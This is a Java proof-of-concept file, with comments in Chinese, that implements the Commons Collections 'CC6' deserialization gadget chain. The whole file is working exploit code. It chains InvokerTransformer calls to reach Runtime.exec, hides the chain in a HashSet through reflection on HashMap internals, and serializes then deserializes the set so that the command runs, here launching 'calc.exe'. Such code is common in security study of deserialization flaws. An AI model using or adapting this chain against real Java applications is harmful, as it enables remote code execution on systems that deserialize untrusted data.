| 13 | import java.util.HashSet; |
| 14 | |
| 15 | public class CC6Test { |
| 16 | public static void main(String[] args) throws Exception { |
| 17 | |
| 18 | Transformer[] transformers = new Transformer[]{ |
| 19 | new ConstantTransformer(Runtime.class), |
| 20 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), |
| 21 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), |
| 22 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}), |
| 23 | }; |
| 24 | |
| 25 | ChainedTransformer chain = new ChainedTransformer(transformers); |
| 26 | HashMap hashMap = new HashMap(); |
| 27 | LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain); |
| 28 | TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "foo"); |
| 29 | |
| 30 | HashSet hashSet = new HashSet(1); |
| 31 | hashSet.add("foo"); |
| 32 | //获取HashSet的map属性 |
| 33 | Field field = hashSet.getClass().getDeclaredField("map"); |
| 34 | field.setAccessible(true); |
| 35 | //获取HashSet集合中的map属性的hashmap对象 |
| 36 | HashMap hashset_map = (HashMap)field.get(hashSet); |
| 37 | |
| 38 | //获取HashMap的table属性 |
| 39 | field = HashMap.class.getDeclaredField("table"); |
| 40 | field.setAccessible(true); |
| 41 | //从hashmap对象中获取table属性的值(返回的是一个HashMap.Node类型的数组) |
| 42 | Object[] array = (Object[]) field.get(hashset_map); |
| 43 | Object node = array[0]; |
| 44 | if(node == null){ |
| 45 | node = array[1]; |
| 46 | } |
| 47 | Field keyField = null; |
| 48 | //获取HashMap.Node类中的key属性 |
| 49 | keyField = node.getClass().getDeclaredField("key"); |
| 50 | keyField.setAccessible(true); |
| 51 | //然后将HashMap.Node类中的key属性设置为TiedMapEntry对象 |
| 52 | keyField.set(node, tiedMapEntry); |
| 53 | |
| 54 | //序列化 --> 反序列化 |
| 55 | ByteArrayOutputStream barr = new ByteArrayOutputStream(); |
| 56 | ObjectOutputStream oos = new ObjectOutputStream(barr); |
| 57 | oos.writeObject(hashSet); |
| 58 | oos.close(); |
| 59 | ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); |
| 60 | ois.readObject(); |
| 61 | } |
| 62 | } |
nothing calls this directly
no outgoing calls
no test coverage detected